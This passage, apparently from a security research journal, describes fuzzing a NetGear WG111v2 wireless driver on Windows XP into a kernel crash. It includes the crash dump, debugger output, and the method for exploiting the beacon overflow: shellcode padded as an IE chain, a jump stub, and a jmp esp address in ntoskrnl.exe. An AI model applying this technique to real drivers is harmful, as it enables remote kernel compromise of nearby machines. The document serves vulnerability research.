|Informative Information for the Uninformed|
For the next test, the authors chose NetGear's WG111v2 USB wireless adapter. The machine used in the D-Link exploit was reused for this test (Windows XP SP2). The latest version of the WG111v2.SYS driver (v5.1213.6.316) was installed, the beacon fuzzer was started, and the adapter was connected to the test system. After about ten seconds, the system crashed and another gorgeous blue screen appeared.
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) An attempt was made to access a pageable (or completely invalid) address at an interrupt request level (IRQL) that is too high. This is usually caused by drivers using improper addresses. If kernel debugger is available get stack backtrace. Arguments: Arg1: dfa6e83c, memory referenced Arg2: 00000002, IRQL Arg3: 00000000, value 0 = read operation, 1 = write operation Arg4: dfa6e83c, address which referenced memory ErrCode = 00000000 eax=80550000 ebx=825c700c ecx=00000005 edx=f30e0000 esi=82615000 edi=825c7012 eip=dfa6e83c esp=80550684 ebp=b90ddf78 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 dfa6e83c ?? ??? Resetting default scope LAST_CONTROL_TRANSFER: from dfa6e83c to 804e2158 FAILED_INSTRUCTION_ADDRESS: +ffffffffdfa6e83c dfa6e83c ?? ??? STACK_TEXT: 80550610 dfa6e83c badb0d00 f30e0000 0b9e1a2b nt!KiTrap0E+0x233 WARNING: Frame IP not in any known module. Following frames may be wrong. 80550680 79e1538d 14c4f76f 8c1cec8e ea20f5b9 0xdfa6e83c 80550684 14c4f76f 8c1cec8e ea20f5b9 63a92305 0x79e1538d 80550688 8c1cec8e ea20f5b9 63a92305 115cab0c 0x14c4f76f 8055068c ea20f5b9 63a92305 115cab0c c63e58cc 0x8c1cec8e 80550690 63a92305 115cab0c c63e58cc 6d90e221 0xea20f5b9 80550694 115cab0c c63e58cc 6d90e221 78d94283 0x63a92305 80550698 c63e58cc 6d90e221 78d94283 2b828309 0x115cab0c 8055069c 6d90e221 78d94283 2b828309 39d51a89 0xc63e58cc 805506a0 78d94283 2b828309 39d51a89 0f8524ea 0x6d90e221 805506a4 2b828309 39d51a89 0f8524ea c8f0583a 0x78d94283 805506a8 39d51a89 0f8524ea c8f0583a 7e98cd49 0x2b828309 805506ac 0f8524ea c8f0583a 7e98cd49 214b52ab 0x39d51a89 805506b0 c8f0583a 7e98cd49 214b52ab 139ef137 0xf8524ea 805506b4 7e98cd49 214b52ab 139ef137 a7693fa7 0xc8f0583a 805506b8 214b52ab 139ef137 a7693fa7 dfad502f 0x7e98cd49 805506bc 139ef137 a7693fa7 dfad502f 81212de6 0x214b52ab 805506c0 a7693fa7 dfad502f 81212de6 c46a3b2e 0x139ef137 805507c0 f74a1b57 825f1e40 00000000 829a87d8 0xa7693fa7 805507f0 f74a2754 026e6f44 829a80e0 829a80e0 USBPORT!USBPORT_DoneTransfer+0x137 80550828 f74a3f6a 829a8028 804e3579 829a8230 USBPORT!USBPORT_FlushDoneTransferList+0x16c 80550854 f74b1fb0 829a8028 804e3579 829a8028 USBPORT!USBPORT_DpcWorker+0x224 80550890 f74b2128 829a8028 00000001 80559580 USBPORT!USBPORT_IsrDpcWorker+0x37e 805508ac 804dc179 829a864c 6b755044 00000000 USBPORT!USBPORT_IsrDpc+0x166 805508d0 804dc0ed 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 805508d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26
The crash indicates that not only did the fuzzer gain control of the driver's execution address, but the entire stack frame was smashed as well. The esp register points about a thousand bytes into the frame and the bogus eip value inside another controlled area.
kd> dd 80550684 80550684 79e1538d 14c4f76f 8c1cec8e ea20f5b9 80550694 63a92305 115cab0c c63e58cc 6d90e221 kd> s 0x80550600 Lffff 0x3c 0xe8 0xa6 0xdf 80550608 3c e8 a6 df 10 06 55 80-78 df 0d b9 3c e8 a6 df <.....U.x...<... 80550614 3c e8 a6 df 00 0d db ba-00 00 0e f3 2b 1a 9e 0b <...........+... 80550678 3c e8 a6 df 08 00 00 00-46 02 01 00 8d 53 e1 79 <.......F....S.y 8055a524 3c e8 a6 df 02 00 00 00-00 00 00 00 3c e8 a6 df <...........<... 8055a530 3c e8 a6 df 00 40 00 e1-00 00 00 00 00 00 00 00 <....@..........
Analyzing this bug took a lot more time than one might expect. Suprisingly, there is no single field or information element that triggers this flaw. Any series of information elements with a length greater than 1100 bytes will trigger the overflow if the SSID, Supported Rates, and Channel information elements are at the beginning. The driver will discard any frames where the IE chain is truncated or extends beyond the boundaries of the received frame. This was an annoyance, since a payload may be of arbitrary length and content and may not neatly fit into a 255 byte block of data (the maximum for a single IE). The solution was to treat the blob of padding and shellcode like a contiguous IE chain and pad the buffer based on the content and length of the frame. The exploit code would generate the buffer, then walk through the buffer as if it was a series of IEs, extending the very last IE via randomized padding. This results in a chain of garbage information elements which pass the driver's sanity checks and allows for clean exploitation.
For this bug, the esp register was the only one pointing into controlled data. This introduced another problem - before the vulnerable function returned, it modified stack variables and left parts of the frame corrupted. Although the area pointed to by esp was stable, a corrupted block exists just beyond it. To solve this, a tiny block of assembly code was added to the exploit that, when executed, would jump to the real payload by calculating an offset from the eax register. Finding a jmp esp instruction was as simple as running msfpescan on ntoskrnl.exe and adjusting it for the kernel base address. The address that was chosen for this version of ntoskrnl.exe was 0x804ed5cb (0x800d7000 + 0x004165cb).
$ msfpescan ntoskrnl.exe -j esp [ntoskrnl.exe] 0x004165cb jmp esp